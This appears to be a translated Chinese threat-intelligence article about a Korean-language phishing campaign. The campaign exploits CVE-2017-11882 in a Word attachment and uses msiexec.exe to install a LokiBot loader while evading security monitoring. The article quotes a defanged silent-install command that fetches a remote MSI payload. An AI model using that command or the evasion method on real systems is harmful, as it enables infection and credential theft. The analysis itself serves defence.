黑客竟然又更新了Windows Installer的利用方法
寫在前面的話
2017年11月,微軟曾修復了漏洞CVE-2017-11882,這是一個存在於Microsoft Office中的遠程代碼執行漏洞。但是此次的漏洞修復並不能組織類似Cobalt這樣的網路犯罪組織利用該漏洞實施攻擊。而該組織會利用該漏洞傳播 FAREIT、Ursnif和破解版的Loki infostealer(一款能夠竊取加密貨幣錢包的鍵盤記錄器)。
近期,我們發現又有攻擊者開始利用漏洞CVE-2017-11882來實施攻擊了,但這一次他們使用的是一種非常見的安裝方法:即通過微軟Windows操作系統中的Windows Installer服務。這跟之前那些使用mshta.exe(用於下載並執行Payload)運行Powershell腳本並利用漏洞實施攻擊的惡意軟體不同,我們所發現的這種攻擊利用的是Windows Installer服務中的msiexec.exe。
感染鏈
下圖顯示的是這種攻擊技術的感染鏈:
我們所分析的樣本似乎來自於一次垃圾郵件活動。它首先會向目標用戶發送一封電子郵件,並讓目標用戶確認一份支付賬單,然後在郵件中對用戶進行「恐嚇」。郵件內容是用韓文寫的,翻譯過來的意思大概是:「你好,你的電腦可能已經感染了病毒或惡意軟體,請你檢查一下。」除此之外,郵件中還包含了一個標題為「Payment copy.Doc」的附件(趨勢科技將其標記為TROJ_CVE201711882.SM),而這個文件中就包含了漏洞CVE-2017-11882的漏洞利用代碼。
郵件內容如下圖所示:
用戶打開這個Word文檔之後,便會看到如下圖所示的內容:
成功利用該漏洞之後,攻擊者將會通過Windows Installer下載並安裝一個名為zus.msi的惡意MSI包,運行命令如下:
Callcmd.exe /c msiexec /q /I 「hxxps[:]//www[.]uwaoma[.]info/zus.msi
Msiexec會下載並安裝一個名為MSIFD83.tmp的文件:
安裝後的MSIL代碼如下:
下載之後,Windows Installer(msiexec.exe)將會繼續在系統中安裝一份MSIL或Delphi代碼,而這份惡意代碼將會作為實際Payload的載入器來使用。需要注意的是,惡意數據包還採用了一個壓縮層,所以文件掃描引擎需要不斷進行迭代或枚舉才可以檢測到其惡意性。不過想要識別其真實Payload還是比較困難的,因為它的MSIL或Delphi代碼是經過了高度混淆處理的。
運行之後,代碼會啟用一個隨機命名的實例,而這個實例替換惡意軟體的Payload。
目前,我們發現攻擊者主要利用這項技術來傳播LokiBot(TROJ_LOKI.SMA),不過根據我們對其模塊的分析結果來看,它還可以用來傳播其他的Payload。
下圖顯示的是我們所識別的LokiBot變種樣本:
為什麼攻擊者需要使用新的惡意Payload安裝方法?
安全產品的檢測效率越來越高了,而且它們都會監控類似Wscript、Powershell、mshta.exe、Winword.exe以及其他一些攻擊者可能會用來安裝惡意Payload的程序。由於這些方法已經是網路犯罪領域中的熱門方法了,所以它們被發現的概率也相應上升了。不過,使用msiexec.exe來下載惡意MSI數據包的情況並不是大多數惡意軟體會使用的方法。
雖然Andromeda殭屍網路(ANDROM惡意軟體家族)也會使用msiexec.exe,但使用安裝器的方法還是跟LokiBot不一樣的,因為Andromeda會將惡意代碼注入到msiexec.exe中來下載Payload。除此之外,Andromeda下載並更新了Payload之後,它會立即下載並執行一個PE文件。這種方法需要使用的MSI數據包,而msiexec.exe會將其識別為可安裝的數據包,因此它還會使用到Windows Installer。
實際上,惡意軟體並不一定要通過MSI數據包來安裝自身,跟絕大多數使用msiexec.exe的惡意軟體不同,我們所分析的樣本並不需要進行代碼修改,它使用的就是Windows Installer來安裝惡意軟體。
因此我們認為,惡意軟體之所以會選擇使用這種特殊的安裝方式,主要是因為惡意軟體開發者設計出了新型的安全檢測繞過方法。
緩解方案
由於這種攻擊的開始階段利用的還是釣魚郵件,所以廣大用戶可以通過抵禦釣魚郵件的方式來緩解這種攻擊所帶來的影響。除此之外,用戶在閱讀任意郵件時,一定要仔細閱讀郵件中文字所使用的措詞,如果發現了語法錯誤或其他問題,就一定要小心了。
TAG:豌豆上的主公 |